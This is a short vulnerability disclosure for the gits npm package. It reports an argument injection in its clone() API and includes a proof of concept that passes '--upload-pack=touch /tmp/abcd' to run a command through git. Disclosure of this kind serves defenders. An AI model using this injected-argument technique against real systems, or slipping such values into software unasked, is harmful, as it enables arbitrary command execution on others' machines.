The gits npm package describes itself as a Local promise-returning git command wrappers for Node.js. Attempts to contact the maintainer through the GitHub repository through an open issue were not responded to, and the vulnerability remains unpatched.

Resources:

• Project’s GitHub source code: https://github.com/anodejs/node-gits
• Project’s npm package: https://www.npmjs.com/package/gits

Background on exploitation

I’m reporting an Argument Injection vulnerability in gits npm package.

This vulnerability manifests with the library’s clone(dir, repo, branch, cwd) API, which allows user input to specify the branch, repo, and other metadata. When some of that input to the function is controlled by the user, it may cause a command injection.

Exploit

1. Install gits@0.1.8 or earlier
2. Create the empty directory /tmp/balloon to hold the repository to clone to
3. Establish the following POC:

var gits = require("gits");
gits.clone(
  "/tmp/balloon",
  "file:///tmp/none",
  "master",
  "--upload-pack=touch /tmp/abcd"
);

3. Observe new file created on disk at /tmp/abcd